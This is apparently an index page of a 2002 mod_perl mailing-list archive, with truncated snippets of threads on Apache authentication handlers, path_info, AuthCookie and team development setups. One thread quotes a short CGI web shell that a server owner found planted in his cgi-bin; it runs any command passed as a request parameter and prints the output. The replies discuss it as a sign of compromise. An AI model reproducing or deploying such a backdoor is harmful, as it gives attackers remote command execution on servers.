Re: mod_perl PerlAccessHandler/PerlAuthenHandler question

2002-07-28 Thread Steve Piner
How is your mod_perl configured? Based on the error message you're getting, it appears that you may not have compiled in support for authentication or access control. If you built it yourself, you may need to add PERL_AUTHEN=1 and PERL_ACCESS=1 to the 'perl Makefile.PL' command line when

RE: apache mod_perl + suid question

2002-07-27 Thread pandit_tushar
: Vitor [mailto:[EMAIL PROTECTED]] Sent: Friday, July 26, 2002 8:31 PM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: RES: apache mod_perl + suid question Tushar, It's not recommeded to run apache as root. (Security issues). I have some applications that uses system command under mod_perl

RE: apache mod_perl + suid question

2002-07-27 Thread pandit_tushar
26, 2002 8:31 PM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: RES: apache mod_perl + suid question Tushar, It's not recommeded to run apache as root. (Security issues). I have some applications that uses system command under mod_perl without problems. Try to execute you wrapper script

RE: apache mod_perl + suid question

2002-07-26 Thread pandit_tushar
PROTECTED] Subject: RE: apache mod_perl + suid question Thanks Vitor... I have something very similar to what you mention below..only that I am taking the username and passwd from the apache gui. Then I encrypt the passwd and send that to wrapper(i.e. suid_file) script. So I have something like

RE: apache mod_perl + suid question

2002-07-26 Thread pandit_tushar
Message- From: Vitor [mailto:[EMAIL PROTECTED]] Sent: Friday, July 26, 2002 7:04 PM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: RES: apache mod_perl + suid question Hello Tushar, Try this : $suid_file = file_path/suidfile.pl; $user = nobody; $passwd = kdsak; (system($suid_file,$user

RE: apache mod_perl + suid question

2002-07-26 Thread pandit_tushar
6:50 PM To: [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] Subject: Re: apache mod_perl + suid question On Fri, Jul 26, 2002 at 06:40:31PM -0400, [EMAIL PROTECTED] wrote: 1: The usermod command doesn't get executed. I have tried debugging this...by having a log file(/usr/local/apache/logs

mod_perl PerlAccessHandler/PerlAuthenHandler question

2002-07-26 Thread Harry Zhu
I'm a verteran CGIer but a new mod-perl user. I have got the mod-perl running fine for the content handling. But when I try to step in to other stages like Authentication, and have trouble in setting PerlAccessHandler PerlAuthenHandler etc. If I put ###== Location /mpl/hello

apache mod_perl + suid question

2002-07-26 Thread pandit_tushar
Hello, I am trying to write a password changing program. For this I have a mod_perl subroutine from where I am trying to execute a perl script(with suid permissions 4711), which is a wrapper and in turn calls the usermod command on linux with the old and new passwords. The problem I am having:

Re: apache mod_perl + suid question

2002-07-26 Thread Philip Mak
On Fri, Jul 26, 2002 at 06:40:31PM -0400, [EMAIL PROTECTED] wrote: 1: The usermod command doesn't get executed. I have tried debugging this...by having a log file(/usr/local/apache/logs) and the mod_perl process does open the wrapper script..but then does nothing. It does not execute the

RES: apache mod_perl + suid question

2002-07-26 Thread Vitor
PROTECTED]; [EMAIL PROTECTED] Assunto: RE: apache mod_perl + suid question Thanks Vitor... I have something very similar to what you mention below..only that I am taking the username and passwd from the apache gui. Then I encrypt the passwd and send that to wrapper(i.e. suid_file) script. So I

$r-path_info question

2002-07-23 Thread simran
Hi All, If i use hte following configuration: apache.conf Location /auto/thumbnails SetHandler perl-script PerlHandler My::Thumbnails /Location Then in my handler sub in Thumbnails.pm do: == my $r = instance Apache::Reuest(shift);

Re: $r-path_info question

2002-07-23 Thread darren chamberlain
* simran [EMAIL PROTECTED] [2002-07-23 05:11]: However: if i create an 'auto' directory in my document root (something that was not there before) [-- snip --] Is this is feature or a bug, does path_info not check the 'Location' it matced the handler to or is it meant to look at the

[QUESTION] mod_perl skipping phases

2002-07-18 Thread Graham Barr
I am not subscribed to the list, so please copy me on any replies. We have recently upgraded to the latest 1.3.x apache and mod_perl and our code is flagging a warning that it did not before. I am hoping it is the result of a bug fixed in Apache or mod_perl and that I can change our code to

CGI::Carp qw(fatalsToBroswer); question

2002-07-10 Thread Wes Cravens
use CGI::Carp qw(fatalsToBrowser); was having no effect on my modules. Changing a line in CGI::Carp sub ineval { $^S || _longmess() =~ /eval [\{\']/m } --- sub ineval { _longmess() =~ /eval [\{\']/m } ,by advise from a mail I found in archives from last year, produced the results that I was

Re: CGI::Carp qw(fatalsToBroswer); question

2002-07-10 Thread mike808
Changing a line in CGI::Carp sub ineval { $^S || _longmess() =~ /eval [\{\']/m } --- sub ineval { _longmess() =~ /eval [\{\']/m } Are there any solutions to this problem that don't involve changing CGI::Carp? Perhaps I should just rip the code that I want out of CGI::Carp? Why not just

QUESTION - Apache::AuthenCache

2002-07-08 Thread JOSE SOLE
Hey mod_perl users, I am trying to use Apache::AuthenCache as my authentication handler for my server. I keep getting a FORBIDDEN error each time I try to access the index.html page by only typing the URL up to the directory. Example: //FORBIDDEN ERROR http://elvis.arl.psu.edu:9092/footer

Re: QUESTION - Apache::AuthenCache

2002-07-08 Thread darren chamberlain
* JOSE SOLE [EMAIL PROTECTED] [2002-07-08 14:24]: I am trying to use Apache::AuthenCache as my authentication handler for my server. I keep getting a FORBIDDEN error each time I try to access the index.html page by only typing the URL up to the directory. Example: //FORBIDDEN ERROR

Re: PerlTransHanlder and path_info() question

2002-06-29 Thread giorgos zervas
Hi, I followed Lyle's advice and moved my module down to the PerlFixupHandler phase and also added the extra logging info. However I still get, as predicted, one initial request for the correct URI and another subrequest for a URI which corresponds to the value I set the path_info to. If I

Re: PerlTransHanlder and path_info() question

2002-06-29 Thread Lyle Brooks
Does your handler use Apache::Registry or Apache::PerlRun by any chance? I did find this code snippet from the ap_add_cgi_vars() within, the Apache core... if (r-path_info r-path_info[0]) { /* * To get PATH_TRANSLATED, treat PATH_INFO as a URI path. * Need to

PerlTransHanlder and path_info() question

2002-06-27 Thread giorgos zervas
Hello all, I have the following question on which I would appreciate any insight. I have written a failry simple multiplexing PerlTransHandler. Its task is to check the uri and if it matches a certain string then push an associated PerlHandler onto the stack. An example can make it clearer

Re: Question about Work Wanted ads

2002-06-21 Thread Ask Bjoern Hansen
On Wed, 19 Jun 2002, southernstar wrote: I was aware that on occasion individuals are welcome to post work wanted ads, but I have some specific questions about how I can actually get some short contract work here and there, since: [...] Get involved with some of the open source projects;

[OT] RE: Question about Work Wanted ads

2002-06-20 Thread David Harris
Marc Spitzer [mailto:[EMAIL PROTECTED]] wrote: 3: you maybe able to deduct your volunteer work from your taxes( I have no idea about AU's laws though). You can not claim donated services as a tax deduction in the US. (Probably not other places too, I'd guess.) The theory is this: you'd have

Re: [OT] RE: Question about Work Wanted ads

2002-06-20 Thread wsheldah
], [EMAIL PROTECTED] cc:(bcc: Wesley Sheldahl/Lex/Lexmark) Subject: [OT] RE: Question about Work Wanted ads Marc Spitzer [mailto:[EMAIL PROTECTED]] wrote: 3: you maybe able to deduct your volunteer work from your taxes( I have no idea about AU's laws though). You can not claim donated services

Re: Idiot question: headers at the base of the page.

2002-06-13 Thread Issac Goldstand
] Sent: Thursday, June 13, 2002 12:19 AM Subject: Idiot question: headers at the base of the page. I'm doing squinty eyed coding and need someone to knock common sense into me. In the right order - as far as I can see - I have my content_type ;send_http_headers; $r-print'ed. With loads of poo

Re: Idiot question: headers at the base of the page.

2002-06-13 Thread Ged Haywood
Hi all, On Thu, 13 Jun 2002, Issac Goldstand wrote: - Original Message - From: Rafiq Ismail (ADMIN) [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, June 13, 2002 12:19 AM Under what circumstances would my page render, dumping the HTTP headers at the base? Other than

Re: Idiot question: headers at the base of the page.

2002-06-13 Thread Jon Robison
), it could be something else is automatically sending header s for you... Just an idea... Issac - Original Message - From: Rafiq Ismail (ADMIN) [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, June 13, 2002 12:19 AM Subject: Idiot question: headers at the base of the page

Idiot question: headers at the base of the page.

2002-06-12 Thread Rafiq Ismail (ADMIN)
I'm doing squinty eyed coding and need someone to knock common sense into me. In the right order - as far as I can see - I have my content_type ;send_http_headers; $r-print'ed. With loads of poo in between. Under what circumstances would my page render, dumping the HTTP headers at the base?

question: login_screen method for Apache::AuthTicket?

2002-05-24 Thread Brian Reichert
I'm exploring Apache::AuthTicket, with fair success, but there is an element of it that I don't understand: How is the login_screen method distinct from the login method? In the build tree for Apache-AuthTicket-0.31, there is a sample httpd.conf that contains (among other things): PerlSetVar

[OT] Re: Image::Size, TT, and mod_perl Question

2002-05-22 Thread Ken Y. Clark
On Tue, 21 May 2002, Mike Melillo wrote: Hey, Mikey! Date: Tue, 21 May 2002 23:28:29 -0400 From: Mike Melillo [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Image::Size, TT, and mod_perl Question I posed this question to the Template Toolkit list and got no response, so I figured I'd

Image::Size, TT, and mod_perl Question

2002-05-21 Thread Mike Melillo
I posed this question to the Template Toolkit list and got no response, so I figured I'd give this list a shot... - Hello, below is some code I have in a mod_perl handler that checks to see if an uploaded image is less than 300 pixels tall or wide. Everything seems

Re: Image::Size, TT, and mod_perl Question

2002-05-21 Thread Perrin Harkins
my %vars = {TOO_WIDE = 1}; That isn't doing what you think it's doing. Try this: my $vars = { 'TOO_WIDE' = 1 };

question on apache::asp

2002-05-05 Thread minghong
So can I use this module to run asp.net on apache(installed on windows)? I need to run asp.net on apache(windows). Thanks.

Re: question on apache::asp

2002-05-05 Thread Joshua Chamas
[EMAIL PROTECTED] wrote: So can I use this module to run asp.net on apache(installed on windows)? I need to run asp.net on apache(windows). No. Apache::ASP supports perl scripting for ASP v2.0 model. ASP.net is not supported, nor C#, VBScript, etc. -- Josh

Apache::Reload question...

2002-05-03 Thread Rob Mueller (fastmail)
I've got a "reality check" question for people to see that I'm not missing something obvious with our Apache::Reload mod_perl setup. We've recently install Apache::Reload at our site in production and it's working great. In what isprobably not the best 'software engineering' st

Re: Apache::Reload question...

2002-05-03 Thread Geoffrey Young
The question I had regards where to put the 'Apache::Reload' directive. The documentation suggests something like: PerlInitHandler Apache::Reload PerlSetVar ReloadAll Off PerlSetVar ReloadTouchFile /tmp/reload_modules The problem I see in a production machine

Re: framesets/AuthCookie question

2002-04-23 Thread Michael Schout
On Mon, 22 Apr 2002, Fran Fabrizio wrote: It seems that even if AuthCookie returns a FORBIDDEN with a custom_error page set, the $r-notes() don't propagate. Does apache consider the display of the custom_response page to be a completely new request? Its a subrequest, so the notes shold be

Re: framesets/AuthCookie question

2002-04-22 Thread Fran Fabrizio
Followup from last week: I'm using AuthCookie and as some of you know, if it determines your session to be invalid it redirects to a login page instead by way of a FORBIDDEN response coupled with a custom_response error page. [snip] ...I then thought it'd be neat to include on the login

RE: framesets/AuthCookie question

2002-04-21 Thread Jeff Armstrong
] Subject: Re: framesets/AuthCookie question On Wed, 17 Apr 2002, Peter Bi wrote: Fran: You may need to 1) add a few lines of code in AuthCookie to make your error code aware to other methods, and 2) have a dynamic login page that can interpret the code. Alternatively, you may try

Re: framesets/AuthCookie question

2002-04-19 Thread Michael Schout
On Wed, 17 Apr 2002, Peter Bi wrote: Fran: You may need to 1) add a few lines of code in AuthCookie to make your error code aware to other methods, and 2) have a dynamic login page that can interpret the code. Alternatively, you may try AccessCookie I posted. :-) The CVS version of

Re: Apache2 HellowWorld question

2002-04-19 Thread Randy Kobes
On Fri, 19 Apr 2002, Lihn, Steve wrote: Hi, I just downloaded Randy's win32 build of Apache2. I do not understand in httpd.conf: PerlSwitches -Mblib=C:\Apache2 PerlModule Apache2 Location /hello PerlResponseHandler Apache::HelloWorld SetHandler modperl /Location But in the

framesets/AuthCookie question

2002-04-17 Thread Fran Fabrizio
I'm using AuthCookie and as some of you know, if it determines your session to be invalid it redirects to a login page instead by way of a FORBIDDEN response coupled with a custom error page. My app has a frameset (navigation on the left, and two data frames on the right). I know the evils

Re: framesets/AuthCookie question

2002-04-17 Thread Peter Bi
before. Peter Bi - Original Message - From: Fran Fabrizio [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, April 17, 2002 3:01 PM Subject: framesets/AuthCookie question I'm using AuthCookie and as some of you know, if it determines your session to be invalid it redirects

Kind-of PerlSections, and location question

2002-04-15 Thread Daniel W. Burke
I'm wondering if this is possible at all, and if so, how to accomplish it... We have an application we're serving by using the same set of source code, and setting up different Location sections in the virtual host to set different variables and path aliases based on who the customer is... But

Re: Kind-of PerlSections, and location question

2002-04-15 Thread Steven Lembark
Have a databae table that stores the information for each setting, then load it dynamically as a request comes in... mailer dream code: $ENV{REQUEST_URI} =~ /^\/(.*?)\//; $base_path = $1; if (!exists($Location{$base_path})) { ... do database calls to load necessairy information

Re: Kind-of PerlSections, and location question

2002-04-15 Thread Daniel W. Burke
the entire thing every time the site was hit. what I'm hoping to be able to do should only have to load the settings once (the first time a request comes in for that location) for each process, so I'm not too concerned about database access.. The main question I need answered first

Re: Kind-of PerlSections, and location question

2002-04-15 Thread Geoffrey Young
what I'm hoping to be able to do should only have to load the settings once (the first time a request comes in for that location) for each process, so I'm not too concerned about database access.. The main question I need answered first is, is this even possible? IIRC, Jay Lawrence

Re: Kind-of PerlSections, and location question

2002-04-15 Thread Perrin Harkins
Daniel W. Burke wrote: We have an application we're serving by using the same set of source code, and setting up different Location sections in the virtual host to set different variables and path aliases based on who the customer is... ... What I'd like to do (if even possible!), is have

Re: startup vs. child initialization question

2002-04-01 Thread Perrin Harkins
Also, I read about issues of database handlers becoming unstable across forks. So should I place this initialization information into a perl child init handler? See the connect_on_init() method in the Apache::DBI docs. We use PerlSetVar's for this where I work. That's how I would do it

startup vs. child initialization question

2002-03-31 Thread conark
Hi! I had a question regarding where I should be placing global configuration options in mod_perl. Here's the qweekie scenario: I want to load a configuration file of various options (such as db arguments, system directories, db connections, etc.) into a hash or perl object global to Apache

Re: startup vs. child initialization question

2002-03-31 Thread Frank Wiles
On Sun, 31 Mar 2002 12:43:45 -0800 (PST) [EMAIL PROTECTED] wrote: Hi! I had a question regarding where I should be placing global configuration options in mod_perl. Here's the qweekie scenario: I want to load a configuration file of various options (such as db arguments, system

Re: Apache::Registry question

2002-03-30 Thread fliptop
Kirk Rogers wrote: How do i configure the httpd.conf file to maintain two different cgi-bin directories with Apache::Registry? Not sure if I'm asking the question correctly so here's a quick explanation. I have two cgi-bin directories under one Virtual host: this way works for me

Apache::Registry question

2002-03-29 Thread Kirk Rogers
How do i configure the httpd.conf file to maintain two different cgi-bin directories with Apache::Registry? Not sure if I'm asking the question correctly so here's a quick explanation. I have two cgi-bin directories under one Virtual host: VirtualHost 1.2.3.4 Alias /this/cgi-bin

Re: Off topic question a little worried

2002-03-22 Thread Joachim Zobel
At 14:15 21.03.2002 -0600, you wrote: Any idea as to how it got on my server. It is owned by apache and in the apache group. That tells me that it was put on there by apache. It is in a directory that has the permissions 777 because the script that is normally in there keeps and writes traffic

Re: [OT] Off topic question a little worried

2002-03-22 Thread lembark
Assuming the content isn't updated too often, burning the site from a test area and mounting it as a CDROM makes it pretty hard for outsiders to udpate. -- Steven Lembark 2930 W. Palmer Workhorse Computing Chicago, IL 60647

Re: Off topic question a little worried

2002-03-22 Thread Carsten Heinrigs
http://www.chkrootkit.org/ http://www.incident-response.org/LKM.htm -- Carsten Heinrigs Ocean-7 Development Tel: 212 533-7883

Re: Off topic question a little worried

2002-03-21 Thread Stas Bekman
Chris Reinhardt wrote: On Thu, 21 Mar 2002, John Michael wrote: #!/usr/bin/perl use CGI qw(:standard); print header; my $k=param(g); my $a=param(s); if ($a || $k) { $l=`$k 21`; print start_form,textarea(g,$k,1,50); print submit(sc); print end_form; print pre($l); } print

Re: Off topic question a little worried

2002-03-21 Thread John Michael
Any idea as to how it got on my server. It is owned by apache and in the apache group. That tells me that it was put on there by apache. It is in a directory that has the permissions 777 because the script that is normally in there keeps and writes traffic information, so I guess someone found

Re: Off topic question a little worried

2002-03-21 Thread Perrin Harkins
John Michael wrote: Any idea as to how it got on my server. Someone found a serious security hole in something you're running. You have to assume that your server has been completely compromised and that the entire world now has root access to it through a hundred backdoors they installed.

Re: [OT] Off topic question a little worried

2002-03-21 Thread wsheldah
PROTECTED] (bcc: Wesley Sheldahl/Lex/Lexmark) Subject: Re: Off topic question a little worried John Michael wrote: Any idea as to how it got on my server. Someone found a serious security hole in something you're running. You have to assume that your server has been completely

Re: Off topic question a little worried

2002-03-21 Thread Ged Haywood
Hi there, On Thu, 21 Mar 2002, John Michael wrote: Any idea as to how it got on my server. Nope. There are a thousand ways it could have been done if your server is not carefully secured. Do waht Perrin said - take it offline, it can't be trusted - and read the CERT stuff that you've been

Re: Off topic question a little worried

2002-03-21 Thread Robert Landrum
At 4:58 PM -0500 3/21/02, darren chamberlain wrote: Another alternative is to replace it with something that appears to do the same thing, but actually logs a ton of stuff from the requestor. Unless the entire site has already been backdoored. If that is the case, then this would serve no

Re: Off topic question a little worried

2002-03-21 Thread lembark
-- Perrin Harkins [EMAIL PROTECTED] on 03/21/02 17:07:27 -0500 darren chamberlain wrote: Another alternative is to replace it with something that appears to do the same thing, but actually logs a ton of stuff from the requestor. You can't trust any part of compromised box, right down to

Re: Off topic question a little worried

2002-03-21 Thread Stas Bekman
Chris Reinhardt wrote: On Thu, 21 Mar 2002, John Michael wrote: #!/usr/bin/perl use CGI qw(:standard); print header; my $k=param(g); my $a=param(s); if ($a || $k) { $l=`$k 21`; print start_form,textarea(g,$k,1,50); print submit(sc); print end_form; print pre($l); } print

Off topic question a little worried

2002-03-20 Thread John Michael
Hi I found this script in one of my cgi-bin's.Not sure where it came from. #!/usr/bin/perl use CGI qw(:standard); print header; my $k=param(g); my $a=param(s); if ($a || $k) { $l=`$k 21`; print start_form,textarea(g,$k,1,50); print submit(sc); print end_form;

Re: Off topic question a little worried

2002-03-20 Thread Chris Reinhardt
On Thu, 21 Mar 2002, John Michael wrote: #!/usr/bin/perl use CGI qw(:standard); print header; my $k=param(g); my $a=param(s); if ($a || $k) { $l=`$k 21`; print start_form,textarea(g,$k,1,50); print submit(sc); print end_form; print pre($l); } print

Re: here is a good modperl question on perlmonk

2002-03-18 Thread Jim Smith
On Tue, Mar 05, 2002 at 02:54:47PM -0800, Paul Lindner wrote: On Tue, Mar 05, 2002 at 04:53:56PM -0600, Dave Rolsky wrote: On Tue, 5 Mar 2002, Medi Montaseri wrote: My suggestion would be to install a Linux on your developer's PC and keep with the distributed model. Now everyone can

Re: POST and multipart/data-form question

2002-03-14 Thread Robin Berjon
On Thursday 14 March 2002 17:12, Vuillemot, Ward W wrote: Now, I change nothing more than the form enctype to multipart/data-form. I haven't looked at your sample code in detail, but as someone that got caught on similar problems due to silly typoes I'd like to point out that it's

POST and multipart/data-form question

2002-03-14 Thread Vuillemot, Ward W
I have searched off and on for the past 3 weeks for a solution to my problem. I am at wits end. . .and thought I would finally ask the mailinglist. I had a set of CGI scripts that worked without problem. I began the process about 4 weeks ago of moving them to mod_perl. The suite of scripts

Re: POST and multipart/data-form question

2002-03-14 Thread Hans Poo
El Jue 14 Mar 2002 12:12, Vuillemot, Ward W escribió: I have searched off and on for the past 3 weeks for a solution to my problem. I am at wits end. . .and thought I would finally ask the mailinglist. I had a set of CGI scripts that worked without problem. I began the process about 4

RE: POST and multipart/data-form question

2002-03-14 Thread Vuillemot, Ward W
not a type -- just my brain switching things. the form is correct. : -Original Message- : From: Robin Berjon [mailto:[EMAIL PROTECTED]] : Sent: Thursday, March 14, 2002 8:22 AM : To: [EMAIL PROTECTED] : Subject: Re: POST and multipart/data-form question

RE: Simple configuration question

2002-03-09 Thread Ged Haywood
Hi again, On Fri, 8 Mar 2002, Kirk Rogers wrote: if I add APACHE_PREFIX=/usr/local/apache_ssl it shouldn't even touch anything I have in my original installation at /usr/local/apache. Is this correct? Then I can slowly migrate my configuration file over to the new installation

Simple configuration question

2002-03-08 Thread Kirk Rogers
Hello, I've installed an Apache/mod_perl distribution some months ago and used the standard installation guidelines. However, now I'd like to add SSL capabilities and dont want to clobber my existing system How can I add SSL to my existing distribution without overwriting any of my current

Re: Simple configuration question

2002-03-08 Thread Ged Haywood
Hi there, On Fri, 8 Mar 2002, Kirk Rogers wrote: now I'd like to add SSL capabilities and dont want to clobber my existing system How can I add SSL to my existing distribution without overwriting any of my current configuration and files? Go ahead and rebuild with the latest sources in a

RE: Simple configuration question

2002-03-08 Thread Kirk Rogers
configuration file over to the new installation directories? Thanks, Kirk -Original Message- From: Ged Haywood [mailto:[EMAIL PROTECTED]] Sent: Friday, March 08, 2002 12:57 PM To: Kirk Rogers Cc: modperl Subject: Re: Simple configuration question Hi there, On Fri, 8 Mar 2002, Kirk Rogers

Re: here is a good modperl question on perlmonk

2002-03-06 Thread Mark Fowler
On Tue, 5 Mar 2002, Medi Montaseri wrote: Stuart Frew wrote: Ideally you would have linux( or what ever) on every developers machine but sometimes you don't get the choice. Oh the choice is easyjust come in on a weekend and install linux on your box. Don't tell IT. That's all. I

Re: here is a good modperl question on perlmonk

2002-03-06 Thread Wim Kerkhoff
I'm jumping into this thread quite lately, but here are my $.03 CDN. Mark Fowler wrote: On Tue, 5 Mar 2002, Medi Montaseri wrote: Stuart Frew wrote: Ideally you would have linux( or what ever) on every developers machine but sometimes you don't get the choice. Oh the choice is

RE: here is a good modperl question on perlmonk

2002-03-06 Thread Stathy G. Touloumis
Unfortunately, this may also allow the developer to potentially change code/configuration that you do not want changed. True...but I'm thinking full control to the developer. Developer can now mis-configure httpd.conf as much as he/she wants and all the paths; virtual or not are consistant,

Re: here is a good modperl question on perlmonk

2002-03-06 Thread Clayton Cottingham aka Dr Frog
wow crazy!! just got my email and saw this thread! did anyone post on their site? again that node: http://perlmonks.org/?node_id=146303 Wim Kerkhoff wrote: I'm jumping into this thread quite lately, but here are my $.03 CDN. Mark Fowler wrote: On Tue, 5 Mar 2002, Medi Montaseri wrote:

Multiple Location directives question

2002-03-05 Thread John Siracusa
I have something like: Location /foo SetHandler perl-script PerlHandler My::Foo /Location Location / SetHandler perl-script PerlHandler My::Bar AuthName Bar AuthType Basic PerlAuthenHandler My::Auth::Bar PerlAuthzHandler My::Authz::Bar require valid-user /Location What I

Re: Multiple Location directives question

2002-03-05 Thread Geoffrey Young
John Siracusa wrote: I have something like: Location /foo SetHandler perl-script PerlHandler My::Foo /Location Location / SetHandler perl-script PerlHandler My::Bar AuthName Bar AuthType Basic PerlAuthenHandler My::Auth::Bar PerlAuthzHandler My::Authz::Bar

Re: Multiple Location directives question

2002-03-05 Thread John Siracusa
On 3/5/02 11:58 AM, Geoffrey Young wrote: you might want to set up /foo and /bar then use mod_rewrite or something to map !/foo to /bar Ug, there has to be another way :-/ -John

Re: Multiple Location directives question

2002-03-05 Thread Perrin Harkins
Geoffrey Young wrote: John Siracusa wrote: I have something like: Location /foo SetHandler perl-script PerlHandler My::Foo /Location Location / SetHandler perl-script PerlHandler My::Bar AuthName Bar AuthType Basic PerlAuthenHandler My::Auth::Bar PerlAuthzHandler

RE: Multiple Location directives question

2002-03-05 Thread Rob Bloodgood
Answering my own question, I stupidly forgot that I had a TransHandler up above mucking my URLs before the Location directives got a chance to try to match So my /foo location block was never seeing a /foo URL Still, I'm glad to see that the old system of post to a public list

here is a good modperl question on perlmonk

2002-03-05 Thread clayton cottingham
thought someone might like to have a gander at this: http://perlmonksorg/?node_id=146303 look forward to seeing your replies!!

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Medi Montaseri
Caller wirtes > we've just migrated our 80K line pure perl web application to mod_perl...ah... > so much aster... can anyone advise on their experiences for setting up > apache/mod_perl for team development? up till now, we've all been running > our own copy of sources out of our home

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Dave Rolsky
On Tue, 5 Mar 2002, Medi Montaseri wrote: My suggestion would be to install a Linux on your developer's PC and keep with the distributed model Now everyone can use a common web tree and at integeration, bring all of them to a staging box, QC it and ship it to production Giving everyone

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Paul Lindner
On Tue, Mar 05, 2002 at 04:53:56PM -0600, Dave Rolsky wrote: On Tue, 5 Mar 2002, Medi Montaseri wrote: My suggestion would be to install a Linux on your developer's PC and keep with the distributed model. Now everyone can use a common web tree and at integeration, bring all of them to a

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Perrin Harkins
Medi Montaseri wrote: Caller can also buy some content management software like Interwoven's TeamSite product that provides a virtual workarea, for about $300,000 It's so easy and effective to run mod_perl on developers' personal machines, I think there's no excuse not to do it At eToys we

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Valerio_Valdez Paolini
On Wed, 6 Mar 2002, Gunther Birznieks wrote: Philippe Chiasson had a really nice talk on setting up developer teams on mod_perl at ApacheCon 2001. Covers everything from CVS to deployment. You may want to see if you can get the slides from him ([EMAIL PROTECTED]) if you are interested in

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Stuart Frew
Greetings, Depending on the number of developers and how often they change, virtual hosts are good. Set up a sub-domain for each developer, ie jim.my-company.co.nz. Then they can configure there local setup to there hearts content, seperate CVS/document tree, also get separate logs.

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Medi Montaseri
True...but I'm thinking full control to the developer. Developer can now mis-configure httpd.conf as much as he/she wants and all the paths; virtual or not are consistant, instead of a dev path vs production path I had a chance to work with Interwoven TeamSite and this very issue or virtual

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Medi Montaseri
I don't agree with virtual hosts setup for mod_perl folks. What if someone mess up the configuration file. If you want a central person to change them, then you are limitting the developer. The Linux-on-developers-box proposition also goes to include a database instance for the developer to

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Dave Rolsky
On Tue, 5 Mar 2002, Medi Montaseri wrote: Truebut I'm thinking full control to the developer Developer can now mis-configure httpdconf as much as he/she wants and all the paths; virtual or not are consistant, instead of a dev path vs production path Right, every developer can run their own

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Stuart Frew
Greeting, Yup, I agree but I meant virtual hosts on the development box, not production. Ideally you would have linux( or what ever) on every developers machine but sometimes you don't get the choice. Cheers On Wed, 2002-03-06 at 13:40, Medi Montaseri wrote: I don't

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Andrew Ho
Hello, PLOne other tip... write a small script (or modify apachectl) to start PLapache with a port number matched to your unix UID. This keeps PLdevelopers from using clashing port numbers. PL PL httpd -c Port $UID -c Listen $UID At Tellme we find it easiest to run multiple Apaches, one per

Re: here is a good modperl question on perlmonk

2002-03-05 Thread Medi Montaseri
Stuart Frew wrote: Greeting, Ideally you would have linux( or what ever) on every developers machine but sometimes you don't get the choice. Oh "the choice" is easyjust come in on a weekend and install linux on your box. Don't tell IT. That's all. Cheers On Wed, 2002-03-06 at 13:40, Medi

[QUESTION][BUG] apache dies with SIGSEGV

2002-02-26 Thread gaston
Hi list I wrote a small perl module using perl/Expat for parsing XML-files. With apache 1.3.19 and perl 5.6.0 and Expat 2.27 it works fine. In my new configuration (apache 1.3.20, perl 5.6.1 and Expat 2.30) apache dies with an SIGSEGV on loading. The error occured during the function call

Re: [QUESTION][BUG] apache dies with SIGSEGV

2002-02-26 Thread Mark P. Fister
On Tue, Feb 26, 2002 at 11:36:39AM +0100, gaston wrote: Hi list I wrote a small perl module using perl/Expat for parsing XML-files. With apache 1.3.19 and perl 5.6.0 and Expat 2.27 it works fine. In my new configuration (apache 1.3.20, perl 5.6.1 and Expat 2.30) apache dies with an

Re: Anyone for JavaScript question

2002-02-21 Thread Martin Haase-Thomas
The simple onUnload() construction will not work. You will have to open a new browser window on unload displaying the output of your server program. martin Medi Montaseri wrote: I know this is off topic, but I thought someone could use a break... Given a page called xyz.html, I want to

Re: [OT] Re: Anyone for JavaScript question

2002-02-21 Thread Martin Haase-Thomas
hi nigel, i never tried aou JSRS before, so i can't judge about it. but posting the data to a hidden frame might not work on an unload event. imagine the user types in another url and löeaves the whole frameset. but now we're running far WOT ... :) martin Nigel Hamilton wrote: Hi Martin,

<    1   2   3   4   5   6   7   8   9   10   >